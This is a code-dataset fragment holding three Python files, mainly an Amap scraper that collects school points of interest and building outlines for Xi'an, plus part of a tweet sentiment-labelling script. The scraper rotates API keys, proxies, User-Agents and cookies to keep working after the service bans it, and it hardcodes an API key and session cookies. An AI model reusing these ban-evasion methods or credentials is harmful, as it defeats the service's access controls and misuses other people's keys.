print(time.strftime(\"%a, %d %b %Y %H:%M:%S\"))\n farm_coordinator(tcl)\n elapsed_time = time.time()-s\n print('done in {}s\\n.'.format(round(elapsed_time,3)))\n time.sleep(60*(time_space-elapsed_time/60))\n except KeyboardInterrupt:\n print('\\n')\n","sub_path":"tw_farmer.py","file_name":"tw_farmer.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"432229934","text":"#!usr/bin/env python\n#-*- coding:utf-8 _*-\n\n\"\"\"\n@author:Administrator\n@file: dianping_API.py\n@time: 2018/08/{DAY}\n描述: 大众点评 API\n返回json格式的结果\n\"\"\"\n\n\nimport requests\nfrom changeKey import Keys #导入更换Key 的模块\nfrom fake_useragent import UserAgent\nfrom time import sleep\nfrom cutRect import cutRect, rectToPoint\nimport createShapeFile\nimport json, csv\nfrom random import triangular,randint\nimport geoOperation\nfrom getProxyFromProxyPools import ChangeProxy\nfrom createNewDir import *\nfrom coordinateTranslate import GPS\n\n\n\npoi_search_url = \"http://restapi.amap.com/v3/place/text\"\n#poi_boundary_url = \"https://ditu.amap.com/detail/get/detail\"\npoi_boundary_url = \"https://www.amap.com/detail/get/detail\"\nurl = 'http://restapi.amap.com/v3/place/polygon'\n\n\n\nclass GetRectPoi():\n url = 'http://restapi.amap.com/v3/place/polygon?polygon=108.889573,34.269261;108.924163,34.250959&key=dc44a8ec8db3f9ac82344f9aa536e678&extensions=all&offset=10&page=1'\n # 在此处 polygon 字段为 要取得POI的 矩形框的左上角坐标 和右下角坐标 例如 '108.889573,34.269261;108.924163,34.250959'\n # key 为高德地图的 key 如 : 'dc44a8ec8db3f9ac82344f9aa536e678'\n # extensions 表示 是要获取基本POI 还是全部POI 值为 'base' 或 'all'\n # offset 为 每一页返回的POI 的个数 建议不超过15个 10 个最好 值为 '10'\n # page 为页数 '1'\n\n\n def __init__(self,rect,typecode):\n self.polygonUrl = 'https://www.amap.com/detail/get/detail'\n '''\n 用于获取建筑物边界的 url: 'https://www.amap.com/detail/get/detail?id=B001D088Y7'\n '''\n\n self.searchUrl = 'http://restapi.amap.com/v3/place/polygon'\n '''\n 用于搜索 矩形框内的 POI 的 url : 'http://restapi.amap.com/v3/place/polygon?polygon=108.889573,34.269261;108.924163,34.250959&key=dc44a8ec8db3f9ac82344f9aa536e678&extensions=all&offset=10&page=1'\n '''\n\n self.searchUrlParams = {'types': '141200|141201|141202|141203|141204|141205|141206|141207',\n 'key': 'dc44a8ec8db3f9ac82344f9aa536e678',\n 'polygon': '', #self.rectToPolygonStr(rect),\n 'extensions': 'all',\n 'offset': '20',\n 'page': '1' } # 初始 searchUrl 的 附带参数\n self.polygonUrlParams = {'id' : ''} # 初始 boundUrl 的 附带参数\n\n self.searchUrlHeaders = {\"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": \"key=bfe31f4e0fb231d29e1d3ce951e2c780; guid=b62c-103a-88ca-1534; isg=BGhox-wZp35qUIv697t9Zvi6OVa6Ocz1wvvAUyKd9ePMfQHnyqFwKo_8cdUo1oRz\",\n \"DNT\": \"1\",\n \"Host\": \"restapi.amap.com\",\n \"Pragma\": \"no-cache\",\n \"Cache-Control\": \"no-cache\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36 Avast/65.0.411.162\"\n } # 初始 searchUrl 的 headers 字典\n\n self.polygonUrlHeaders = {\"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": \"key=bfe31f4e0fb231d29e1d3ce951e2c780; guid=b62c-103a-88ca-1534; _uab_collina=153440389354382456943315; isg=BLy8y9g9yzq3FP9mYx9hIkSGjVquHWCxjlcU75Y9yKeKYVzrvsUwbzLzRUm8Mpg3\",\n \"DNT\": \"1\",\n \"Host\": \"www.amap.com\",\n \"If-None-Match\": 'W/\"dc5-u8GPvtk0uXscPOCrJfDSBe3nBt8\"',\n \"Pragma\": \"no-cache\",\n \"Cache-Control\": \"no-cache\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36 Avast/65.0.411.162\"\n } # 初始 boundUrl 的 headers 字典\n\n self.proxyPools = ChangeProxy() #实例化代理池类\n self.changeProxy = self.proxyPools.changeProxyIP # 调用更换代理方法\n self.noProxy = self.proxyPools.noProxyIP() # 无代理的requests.session 对象\n self.ua = UserAgent() # 初始化 随机'User-Agent' 方法\n self.amapKey = Keys() # 实例化 Keys 类对象\n self.pageCount = 0 # 用于计数 表示获取了多少页POI 用来 判断是否是最后一页\n self.retryCount = 0 # 重试次数\n ''' 定义源矩形的对象坐标 '''\n self.rect = rect # 定义初始的 rect\n self.searchUrlParams['types'] = typecode\n self.subRects = [] #分割rect后的列表信息 格式为字典的列表\n self.strSubRects = [] #分割rect后的列表信息 格式为 字符串的列表\n self.createTime = arrow.now().format('YYYYMMDDHHmmss')\n self.filePath = os.getcwd() + '\\\\tab\\\\'+ str(self.rect) + \"_\" + typecode #拼接文件夹以当天日期命名 typecode 为 poi类型 id\n createDir(self.filePath)\n self.currentPoiFileName = r'./tab/' + str(self.rect) + \"_\" + typecode + r'/currentPoi.dat' # 保存进度的文件路径\n self.poisFileName = r'./tab/' + str(self.rect) + \"_\" + typecode + r'/pois.csv' # 保存POI信息的文件路径\n self.subRectsFileName = r'./tab/' + str(self.rect) + \"_\" + typecode + r'/subRects.dat' # 保存subRects的文件\n self.currentRect = \"\" # 当前正在处理的 rect\n self.currentPage = 1 # 当前正在处理的 页数\n self.currentRectIndex = 0 # 用于保存当前采集Rect的索引\n self.pois = [] #用来保存poi数据��� 列表\n\n self.gps = GPS() # 坐标系转化\n self.gcjToWgs = self.gps.gcj_decrypt_exact\n\n def changeKey(self):\n self.key = self.amapKey.getKey() # 调用更换Key 的方法\n self.searchUrlParams['key'] = self.key\n cookie = self.searchUrlHeaders[\"Cookie\"].split(\";\")\n for i in range(len(cookie)):\n if \"key=\" in cookie[i]:\n self.searchUrlHeaders[\"Cookie\"].replace(cookie[i].split(\"=\")[1], self.key)\n\n #\"Cookie\": \"key=bfe31f4e0fb231d29e1d3ce951e2c780; guid=b62c-103a-88ca-1534; isg=BGhox-wZp35qUIv697t9Zvi6OVa6Ocz1wvvAUyKd9ePMfQHnyqFwKo_8cdUo1oRz\",\n\n def changeUserAgnet(self, option):\n ''' 随机更换请求头的 用户代理 User-Agent '''\n ''' 根据option参数选择设置 哪个 requestheader 的 User-Agent '''\n if option == 'search':\n self.searchUrlHeaders['User-Agent'] = self.ua.random\n elif option == 'polygon':\n self.polygonUrlHeaders['User-Agent'] = self.ua.random\n\n def changeCookie(self, option, cookie=\"\"):\n ''' 设置 http 的 cookie '''\n ''' 根据option参数选择设置 哪个 requestheader 的 Cookie '''\n if option == 'search':\n self.searchUrlHeaders['Cookie'] = cookie\n elif option == 'polygon':\n self.polygonUrlHeaders['User-Agent'] = cookie\n\n\n def setParams(self,option,keyDict):\n #设置requests.get() 方法 url附带的的 参数\n ''' 根据option参数选择设置 哪个 requestheader 参数 '''\n if option == 'search':\n urlParams = self.searchUrlParams\n elif option == 'polygon':\n urlParams = self.polygonUrlParams\n for key,value in keyDict.items() : #遍历 keyDict\n if key in urlParams : #如果 keyDict 中的key 在 self.urlParams中存在,\n urlParams[key] = value #把 keyDict 中的value 更新到 self.urlParams 中\n\n def setHeader(self,keyDict,option):\n #设置requests.get() 方法 headers 的各个参数\n ''' 根据option参数选择设置 哪个 requestheader 参数 '''\n if option == 'search':\n headers = self.searchUrlHeaders\n elif option == 'polygon':\n headers = self.polygonUrlHeaders\n for key,value in keyDict.items() : #遍历 keyDict\n if key in headers : #如果 keyDict 中的key 在 self.urlParams中存在,\n headers[key] = value #把 keyDict 中的value 更新到 self.urlParams 中\n\n\n def add_parameters(self,params, **kwargs):\n #将字典中 key 转化为 'key' \n return params.update(kwargs)\n #>> > params = {}\n #>> > add_parameters(params, f1=1, f2=3, f3=9)\n #>> > params\n #{'f1': 1, 'f2': 3, 'f3': 9}\n\n def rectToPolygonStr(self, rect) :\n #rect格式为 [[108.889573,34.269261], [108.924163,34.250959]]\n polygon = str(rect[0][0]) + ',' + str(rect[0][1]) + ';' + str(rect[1][0]) + ',' + str(rect[1][1])\n # 转化为'108.889573,34.269261;108.924163,34.250959'\n return polygon\n\n def isJsonStr(self,jsonStr):\n try:\n json.loads(jsonStr)\n except ValueError:\n return False\n return True\n\n\n\n\n def getPoiPage(self,rect, proxy=requests.session):\n '''\n 此方法通过高德地图搜索api url:\n 'http://restapi.amap.com/v3/place/polygon?page=1&extensions=all&offset=10&polygon=108.924463%2C34.269687%3B108.946908%2C34.259437&key=dc44a8ec8db3f9ac82344f9aa536e678'\n 来搜索矩形范围内的 POI 的详细信息 并返回当前页的 json 的字典详细数据\n :param rect: # 接收的参数为 矩形框的 坐标 [[108.889573,34.269261], [108.924163,34.250959]]\n :param proxy: # 一个使用代理的 requests.session 对象\n :return: #返回当前页的 json 的字典详细数据 {\"status\":\"1\",\"count\":\"894\",\"info\":\"OK\",\"infocode\":\"10000\",\"suggestion\":{\"keywords\":[],\"cities\":[]},\"pois\":......}\n '''\n self.changeKey() # 更换 get() 方法的附带参数 key 的值\n self.changeUserAgnet('search') # 更换 http header 的 浏览器用户代理\n self.changeCookie('search', cookie=\"\") # 更换 http header 的 cookie\n rectParam = {'polygon': self.rectToPolygonStr(rect)}\n self.setParams('search',rectParam) #使用 self.setParams() 方法 更新 get() 方法的附带参数 'polygon' 字段的值\n\n try:\n result = proxy.get(self.searchUrl, params = self.searchUrlParams, timeout = 10, headers = self.searchUrlHeaders)\n self.retryCount = self.retryCount + 1\n # 请求重试次数加1\n if result.status_code==200:\n # 判断返回的 http status_code 状态码 是否为200, 200:返回正常, 404:页面未找到 500:服务器内部错误\n if self.isJsonStr(result.text):\n # 判断返回的页面是否为json 序列\n resultJson = result.json()\n # 得到json格式的数据\n if resultJson['status'] == '1':\n # 在高德地图的api中 'status' 返回 '1'为正常, '6'为'too fast'请求过快, '0' 为 'invalid key' key出问题了\n return dict(resultJson)\n # 返回 resultJson 字典\n\n elif resultJson['status'] == '6':\n sleep(triangular(1.0,3.0))\n # 暂停脚本 1到3秒的时间\n print(\"错误,被Amap ban了,amap status:\", resultJson['status'], \"/ninfo:\", resultJson['info'], \"Retry...\")\n return self.getPoiPage(rect, self.changeProxy())\n # 更换代理 迭代本方法\n\n elif resultJson['status'] == '0':\n sleep(triangular(0,2.0))\n print(\"错误,被Amap ban了,amap status:\", resultJson['status'], \"/ninfo:\", resultJson['info'], \"Retry...\")\n return self.getPoiPage(rect, proxy)\n # 迭代本方法自动更换 key\n else:\n print(\"页面返回值为无效的json序列!\")\n\n elif result.status_code==403:\n sleep(triangular(0, 2.0))\n print(\"Http错误:\", result.reason, \"Retry...\")\n return self.getPoiPage(rect, self.changeProxy)\n # 更换代理 迭代本方法\n\n else:\n print(\"http status_code 错误:\", result.status_code,\"\\nreason :\", result.reason, \"Retry...\")\n sleep(triangular(0, 2.0))\n return self.getPoiPage(rect, self.changeProxy())\n # 更换代理 迭代本方法\n\n except Exception as e:\n print('出现异常:', e, '\\nRetry...')\n sleep(triangular(0, 2.0))\n return self.getPoiPage(rect, self.changeProxy())\n\n\n def getRectPoiCount(self,rect, proxy=requests.session):\n '''\n 接收 self.getPoiPage() 方法返回的 http json 字典 来确认索矩形范围内的 POI 的数量\n :param rect: # 接收的参数为 矩形框的 坐标 [[108.889573,34.269261], [108.924163,34.250959]]\n :param proxy: # 一个使用代理的 requests.session 对象\n :return: #通过解析返回POI数量的json 此方法的返回值为 键值对 {'rect' : rect, 'count' : 742}\n # 若失败, 返回 0\n '''\n resultJson = self.getPoiPage(rect, proxy)\n # getPoiPage() 方法返回值为 http结果的json数据 的 字典\n if \"count\" in resultJson.keys():\n # 如果字典中存在key: \"count\"\n rectPoiCount = {'rect': rect, 'count': int(resultJson.get('count',None))}\n # 把 键值对 {'rect' : rect, 'count': 339} 保存到 rectPoiCount\n return dict(rectPoiCount)\n # 返回 rect 和 poiCount 的字典\n else:\n return 0\n\n\n\n def getSubRect(self, rect, poiNum, proxy=requests.session):\n \"\"\"\n # 分割RECT矩形,如果经纬度矩形内的POI个数大于指定的个数(poiNum)\n # 就把此矩形递归的分割成四等份,类似于田字格\n # 返回包含矩形内POI数量和矩形rect的列表 保存在self.subRects列表中\n :param rect: # 接收的参数为 矩形框的 坐标 [[108.889573,34.269261], [108.924163,34.250959]]\n :param proxy: # 一个使用代理的 requests.session 对象\n :param poiNum: # 一个矩形范围内的 最多有多少个 poi\n :return: # 返回矩形内包含POI数量和矩形rect的列表 保存在self.subRects 列表中\n # 出错返回值 为 0\n \"\"\"\n result = self.getRectPoiCount(rect, proxy) #传入的参数为 rect,获取rect范围内的POI数量,\n if not isinstance(result,int) : #如果返回值为不为int型(为字典类型)\n if int(result['count']) > poiNum : #如果返回的poi个数 大于规定的个数 poiNum\n rects = cutRect(rect) #将rect分割为四等份\n for subRect in rects : #递归四个子矩形rect\n self.getSubRect(subRect, poiNum, proxy) # 调用自己 不能用return\n elif int(result['count']) <= poiNum : #如果 返回的rect内的POI个数 小于规定的个数 poiNum\n rectPoiCount = dict({'rect': rect, 'count': int(result['count'])}) #整理为字典格式的数据 如:{'rect': [[107.889573, 35.269261], [108.406868, 34.76011]], 'count': 367}\n self.subRects.append(rectPoiCount) #将返回包含矩形内POI数量和矩形rect的列表 添加到self.subRectPosCount\n print(\"最小子矩形: \", rectPoiCount)\n return rectPoiCount # 返回 正常\n else :\n print(result)\n return result #如果返回值为 int, 说明返回的是出错代码 为 0\n\n\n def getPoiInfo(self, rect, proxy=requests.session):\n '''\n 根据矩形范围获取矩形范围内的 POI 的是数量 和 POI的列表的列表[count, poiList]\n :param rect: # 接收的参数为 矩形框的 坐标 [[108.889573,34.269261], [108.924163,34.250959]]\n :param proxy: # 一个使用代理的 requests.session 对象\n :return: # 返回 该参数定义的矩形范围内的 POI 的是数量 和 POI的列表\n '''\n self.currentRect = rect # 保存此 rect 为 当前的rect\n while int(rect['count'])>(self.currentPage -1) * int(self.searchUrlParams['offset']):\n resultJson = self.getPoiPage(rect['rect'], proxy) # 传入的参数为 rect,获取rect范围内的POI数量\n if not isinstance(resultJson, int) and 'pois' in resultJson.keys(): # 如果返回值为不为int型(为字典类型)\n self.currentPage += 1 # 页数加1\n self.searchUrlParams['page'] = str(self.currentPage)\n for poi in resultJson['pois']:\n adcode = poi.get('adcode', '')\n address = poi.get('address', '')\n\n alias = poi.get('alias', '')\n if isinstance(alias,list): alias = \"\".join(alias)\n\n businessArea = poi.get('business_area', '')\n if isinstance(businessArea,list): businessArea = \";\".join(businessArea)\n\n cityCode = poi.get('citycode', '')\n cityName = poi.get('cityname', '')\n discountNum = poi.get('discount_num', '')\n email = \";\".join(poi.get('email', ''))\n entrLocation = poi.get('entr_location', '')\n if entrLocation and isinstance(entrLocation,list): # entrLocation 有的时候是个列表 有的时候是个字符串\n entrLocation = entrLocation[0].split(\",\")\n elif entrLocation and isinstance(entrLocation,str):\n entrLocation = entrLocation.split(\",\")\n if entrLocation: #gcj 坐标系转化为 wgs 坐标系\n wgsEntrCoordi = self.gcjToWgs(float(entrLocation[1]), float(entrLocation[0]))\n entrLocation = str(wgsEntrCoordi['lon']) + \",\" + str(wgsEntrCoordi['lat'])\n gridCode = poi.get('gridcode', '')\n id = poi.get('id', '')\n indoorMap = poi.get('indoor_map', '')\n location = poi.get('location', '').split(\",\")\n if location: #gcj 坐标系转化为 wgs 坐标系\n wgsLocation = self.gcjToWgs(float(location[1]), float(location[0]))\n location = str(wgsLocation['lon']) + \",\" + str(wgsLocation['lat'])\n name = poi.get('name', '')\n naviPoiId = poi.get('navi_poiid', '')\n photos = str(poi.get('photos', ''))\n parkingType =poi.get('parking_type', '')\n pcode = poi.get('pcode', '')\n panme = poi.get('pname', '')\n recommend = poi.get('recommend', '')\n shopId = \";\".join(poi.get('shopid', ''))\n shopInfo = poi.get('shopinfo', '')\n tag = \";\".join(poi.get('tag', ''))\n tel = str(poi.get('tel', ''))\n type = poi.get('type', '')\n typeCode = poi.get('typecode', '')\n webSite = \";\".join(poi.get('website', ''))\n detail = self.getPoiBound(id,proxy)\n\n poiInfo = [adcode, address, alias, businessArea, cityCode, cityName, discountNum,\n email, entrLocation, gridCode, id, indoorMap, location,\n name, naviPoiId, photos, parkingType, pcode, panme, recommend, shopId,\n shopInfo, tag, tel, type, typeCode, webSite, address\n ] + detail\n poiInfo = list([\"'\" + str(item) + \"'\" for item in poiInfo]) # 增加csv界定符\n self.pois.append(poiInfo) # 添加到self.pois 列表\n\n else:\n print(resultJson)\n return resultJson # 如果返回值为 int, 说明返回的是getRectPoiCount()的出错代码 为 0\n else:\n print(rect['rect'],\"采集到POI:\",len(self.pois))\n self.saveFile() # 保存POI文件 和 进度文件\n\n\n\n def saveFile(self):\n csvfile = open(self.poisFileName, 'a+', newline='', encoding='utf8') # 内容写入 csv文件\n writer = csv.writer(csvfile)\n writer.writerows(self.pois)\n csvfile.close()\n with open(self.currentPoiFileName, 'w', encoding='utf-8', errors=None) as f: # 将采集进度写入文件\n self.currentRect['page'] = self.currentPage\n f.writelines(str(self.currentRect))\n self.pois = [] # 清空 self.pois\n self.searchUrlParams['page'] = '1'\n self.currentPage = 1 #正在采集页 置为 0\n print(\"保存文件完成!\")\n\n def loadCurrent(self,rect):\n \"\"\"\n rect 查找分割后的子矩形保存的文件,若找到则 载入, 如果未找到,则获取\n 查找存储poi数据的csv文件 如果未找到,则新建此文件,并写入表头,\n 如果找到,则继续查找保存采集进度的文件,若未找到,则设置进度从头开始,若找到进度文件, 则载入并设置采集进度\n :param rect: 原始的rect\n :return: 无返回值\n \"\"\"\n self.currentPoi = [0, 1]\n # 若存在文件,则载入 subRects 列表文件 , 若不存在,则获取 subRects 的列表\n if not isExistPath(self.subRectsFileName): # 如果不存在 self.subRectsFileName (源矩形分割后的子矩形列表文件)\n noProxy = requests.session()\n self.getSubRect(rect, 100, noProxy) # 分割RECT\n self.strSubRects = [str(subRect) for subRect in self.subRects] # 把rect列表转化为str字符串 字典的序列化\n with open(self.subRectsFileName, 'w', encoding='utf-8', errors=None) as f: # 将采集进度写入文件\n f.writelines('\\n'.join(self.strSubRects))\n else:\n with open(self.subRectsFileName, 'r', encoding='utf-8', errors=None) as f: # 将采读取进度文件\n self.strSubRects = f.readlines() # 从文件读取 subRects的列表\n self.subRects = [json.loads(subRect.strip('\\n').replace(\"'\",'\"')) for subRect in self.strSubRects] # 将字符串反序列化\n # 注意此处json.loads() 转化的json字符串的key要使用 双引号 引用 否则会出错\n # 载入进度, 写入表头\n if not isExistPath(self.poisFileName): # 如果不存在 pois.csv\n with open(self.poisFileName, 'a+', encoding='utf-8', errors=None) as f:\n f.writelines(','.join([\"'adcode'\", \"'address'\", \"'alias'\", \"'businessArea'\",\n \"'cityCode'\", \"'cityName'\", \"'discountNum'\", \"'email'\",\n \"'entrLocation'\", \"'gridCode'\", \"'id'\",\n \"'indoorMap'\", \"'location'\", \"'name'\", \"'naviPoiId'\",\n \"'photos'\", \"'parkingType'\", \"'pcode'\", \"'panme'\",\n \"'recommend'\", \"'shopId'\", \"'shopInfo'\", \"'tag'\",\n \"'tel'\", \"'type'\", \"'typeCode'\", \"'webSite'\", \"'address'\",\n \"'bcsBase'\", \"'businessBase'\", \"'classIfyBase'\",\n \"'codeBase'\", \"'nameBase'\", \"'tagBase'\", \"'titleBase'\",\n \"'aoisBase'\", \"'xy'\", \"'buildingTypesDeep'\", \"'businessDeep'\",\n \"'priceDeep'\", \"'propertyFeeDeep'\", \"'reviewDeep'\",\n \"'CountReview'\", \"'aoiidShape'\", \"'areaShape'\",\n \"'centerShape'\", \"'levelShape'\", \"'pylgonShape'\",\n \"'spTypeShape'\", \"'typeShape'\" +\n \"\\n\"])) # 写入表头\n elif isExistPath(self.currentPoiFileName): # 如果存在 currentPoiFileName.dat\n with open(self.currentPoiFileName, 'r', encoding='utf-8', errors=None) as f: # 将采读取进度文件\n self.currentRect = f.readline().replace(\"'\", '\"') # 从文件 currentPoi.dat 读取采集进度.\n self.currentRect = json.loads(self.currentRect) # 转化为字典\n\n if \"rect\" in self.currentRect.keys():\n subRects = [subRect['rect'] for subRect in self.subRects] # 提取self.subRects['rect']\n if str(self.currentRect.get('rect')) in str(subRects): # 转化为字符串 然后查找是否存在\n self.currentPoi[0] = subRects.index(self.currentRect.get('rect')) # 查找到索引\n if \"page\" in self.currentRect.keys():\n self.currentPoi[1] = self.currentRect.get('page')\n\n self.currentRectIndex, self.searchUrlParams['page'] = self.currentPoi\n\n\n def getMainRect(self):\n rect = self.rect\n self.loadCurrent(rect)\n for subRect in self.subRects[self.currentRectIndex:]:\n self.currentSubRect = subRect # 保存当前采集的subRect\n test.getPoiInfo(subRect, self.noProxy) # 获取RECT内的POI 信息\n\n def getPoiBound(self,id, proxy=requests.session()):\n resultJson = self.getPoiBoundJson(id, proxy)\n base = []\n deep = []\n review = []\n shape = []\n if isinstance(resultJson,dict):\n # if not isinstance(resultJson,int):\n itemBase = resultJson.get('data','').get('base','')\n \"\"\" base 字典数据提取, 不是字典,则此列表为空字符列表\"\"\"\n if isinstance(itemBase, str):\n base = [\"\"]*8\n else:\n bcsBase= itemBase.get('bcs','')\n businessBase= itemBase.get('business','')\n classIfyBase= itemBase.get('classify','')\n codeBase= itemBase.get('code','')\n nameBase= itemBase.get('name','')\n tagBase= itemBase.get('tag','')\n titleBase= itemBase.get('title','')\n aois = itemBase.get('geodata', '').get('aoi', '')\n aoisBase = \";\".join([str(list(aoi.values())) for aoi in aois])\n xy = [itemBase.get('x',''),itemBase.get('y','')]\n if xy: #gcj 坐标系转化为 wgs 坐标系\n wgsLocation = self.gcjToWgs(float(xy[1]), float(xy[0]))\n xy = str(wgsLocation['lon']) + \",\" + str(wgsLocation['lat'])\n base = [bcsBase, businessBase, classIfyBase, codeBase, nameBase, tagBase, titleBase, aoisBase, xy]\n\n itemDeep = resultJson.get('data', '').get('Deep', '')\n \"\"\" deep 字典数据提取, 不是字典,则此列表为空字符列表\"\"\"\n if isinstance(itemDeep, str):\n deep = [\"\"] * 5\n else:\n buildingTypesDeep = itemDeep.get('building_types', '')\n businessDeep = itemDeep.get('business','')\n priceDeep = itemDeep.get('price','')\n propertyFeeDeep = itemDeep.get('property_fee','')\n reviewDeep = str(itemDeep.get('review',''))\n deep = [buildingTypesDeep, businessDeep, priceDeep, propertyFeeDeep, reviewDeep]\n\n itemReview = resultJson.get('data', '').get('rti', '')\n \"\"\" rti 字典数据提取, 不是字典,则此字段为空字符\"\"\"\n if isinstance(itemReview, str):\n CountReview = \"\"\n else :\n CountReview = itemReview.get('review_count','')\n review = [CountReview]\n\n itemShape = resultJson.get('data', '').get('spec', '').get('mining_shape', '')\n \"\"\" mining_shape 字典数据提取, 不是字典,则此列表为空字符列表\"\"\"\n if isinstance(itemShape, str):\n shape = [\"\"]*7\n else:\n aoiidShape = itemShape.get('aoiid','')\n areaShape = itemShape.get('area','')\n centerShape = itemShape.get('center','')\n levelShape = itemShape.get('level','')\n pylgonShape = itemShape.get('shape','')\n spTypeShape = itemShape.get('sp_type','')\n typeShape = itemShape.get('type','')\n shape = [aoiidShape, areaShape, levelShape, spTypeShape, typeShape, centerShape, pylgonShape]\n\n return base + deep + review + shape\n\n\n\n def getPoiBoundJson(self, poiID, proxy=requests.session):\n '''\n 返回 包含 pylgon 的 request.get返回的 字典对象\n :param poiID:poi id\n :param proxy: requests.session 附带一个代理\n :return: 返回 包含 pylgon 的 request.get返回的 字典对象\n '''\n self.changeUserAgnet('pylgon') # 更换 http header 的 浏览器用户代理\n self.changeCookie('pylgon', cookie=\"\") # 更换 http header 的 cookie\n self.polygonUrlParams = {'id': poiID}\n try:\n result = proxy.get(self.polygonUrl, params=self.polygonUrlParams, timeout=10, headers=self.polygonUrlHeaders)\n if result.status_code==200:\n # 判断返回的 http status_code 状态码 是否为200, 200:返回正常, 404:页面未找到 500:服务器内部错误\n if self.isJsonStr(result.text):\n # 判断返回的页面是否为json 序列\n resultJson = result.json()\n # 得到json格式的数据\n if resultJson['status'] == '1':\n # 在高德地图的api中 'status' 返回 '1'为正常, '6'为'too fast'请求过快, '0' 为 'invalid key' key出问题了\n return dict(resultJson)\n # 返回 resultJson 字典\n\n elif resultJson['status'] == '6':\n sleep(triangular(3.0,6.0))\n # 暂停脚本 1到3秒的时间\n print(\"错误,被Amap ban了,amap status:\", resultJson['status'], \"\\nInfo:\", resultJson['data'], \",Retry...\")\n return self.getPoiBoundJson(poiID, self.changeProxy())\n # 更换代理 迭代本方法\n\n elif resultJson['status'] == '0':\n sleep(triangular(1.0,3.0))\n print(\"错误,被Amap ban了,amap status:\", resultJson['status'], \"\\nInfo:\", resultJson['data'], \",Retry...\")\n return self.getPoiBoundJson(poiID, self.changeProxy())\n # 更换代理 迭代本方法\n else:\n print(\"页面返回值为无效的json序列!\")\n sleep(triangular(0, 2.0))\n return self.getPoiBoundJson(poiID, self.changeProxy())\n # 更换代理 迭代本方法\n\n elif result.status_code==403:\n sleep(triangular(0, 2.0))\n print(\"Http错误:\", result.reason, \"Retry...\")\n return self.getPoiBoundJson(poiID, self.changeProxy())\n # 更换代理 迭代本方法\n\n else:\n print(\"http status_code 错误:\", result.status_code,\"\\nreason :\", result.reason, \"Retry...\")\n sleep(triangular(0, 2.0))\n return self.getPoiBoundJson(poiID, self.changeProxy())\n # 更换代理 迭代本方法\n\n except Exception as e:\n print('出现异常:', e, '\\nRetry...')\n sleep(triangular(0, 2.0))\n return self.getPoiBoundJson(poiID, self.changeProxy())\n\n\n\nif __name__ == '__main__' :\n #获取经纬度rect 范围内的 高德地图poi 建筑物边界 并生成shp 图形文件\n # [108.774989,34.41341], [109.149898,34.102978]\n #rect = [[108.897814, 34.2752], [108.9256255, 34.2661305]] #注意 此处的经纬度 为 GPS经纬度经过偏置后的 高德地图 经纬度\n rect = [[108.783916,34.443428],[109.157794,34.095302]] # 大西安\n # rect =[[108.924463,34.269687], [108.946908,34.259437]] # 测试区域\n typecodes = ['141200','141201','141202','141203','141204','141205','141206','141207']\n # 此处为学校\n for typecode in typecodes:\n noProxy = requests.session()\n test = GetRectPoi(rect,typecode) #初始化类\n test.getMainRect()\n print(len(test.pois))\n print(len(test.pois))\n","sub_path":"amapTest.py","file_name":"amapTest.py","file_ext":"py","file_size_in_byte":34158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"61450893","text":"# -*- coding: UTF-8 -*-\n\n###COMP90019 Master Project - Formula 1 Event Detection based on Sentiment Analysis\n### Student No. 732329 ###\n### Login Name: Jinghanl2 ###\n### Name: Jinghan Liang ###\n\n## Description ##\n## This is the function for generating train and test dataset by adding labels for raw tweets.\n## It utilized TextBlob and VaderSentiment to calculate sentiment score\n\n#===========================loading modules=========================#\n#regular expression module: clear noises in text\nimport re\n#natural language toolkits: processing texts (tokenise)\nimport nltk\n#To use the characters: '!\"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~'\nimport string\nimport json\nimport sys\nsys.path.append(\"../preprocessor\")\nfrom preprocess1 import clearText\n#Sentiment analysis package\nfrom textblob import TextBlob\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\n\n\n#=============Preprocessor 1=============#\n\n####readFiles####\n#input:filename path(string)\n#output:clearedText without various noisy symbols(list)\ndef labellingData(fileName,splitLength,rank):\n count = 0\n with open(fileName, 'r') as f:\n for line in (f.readlines()[splitLength*(rank):splitLength*(rank+1)]):\n try:\n count = count + 1\n line = line.strip()\n line = line.strip(',')\n _line = json.loads(line)\n tweet = _line['doc']['texts']\n # put raw tweets into preprocessor 1\n tweet = clearText(tweet)\n if (tweet == \"\"):\n continue\n else:\n # add sentiment label to tweets\n senti_dicTB = generateSentimentTB(tweet) #dictionary with sentiment type and polarity score\n senti_dicV = generateSentimentVader(tweet) #dictionary with sentiment type and polarity score\n \n _line['doc'].update(senti_dicTB)\n _line['doc'].update(senti_dicV)\n line = json.dumps(_line)\n\n print (\"rank =\" + str(rank))\n print(count)\n with open(\"../Data/rawTweets_labelled.json\", 'a') as f_write:\n f_write.write(line)\n f_write.write('\\n')\n \n print(\"write done!\")\n except: \n line = \"\"\n continue\n\n\n####Using TextBlob(TB) to generate the sentiment of tweets####\n#Input:cleared text list (list)\n#Output: cleared text dictionary, with added \"polarityTB\" and \"sentimentTB\" \ndef generateSentimentTB(text):\n#for text in clearedTextList:\n sentence = TextBlob(text)\n polarityTB = sentence.sentiment.polarity\n if(polarityTB > 0.0):\n sentimentTB = 'POS'\n elif(polarityTB < 0.0):\n sentimentTB = 'NEG'\n else:\n sentimentTB = 'NEU'\n senti_dicTB = {\"texts\":sentence.string,\"TextBlobSen\":sentimentTB,\"TextBlobScore\":polarityTB}\n return senti_dicTB\n\n####Using vaderSentiment to generate the sentiment of tweets####\n#Input:cleared text list (list)\n#Output: cleared text dictionary, with added 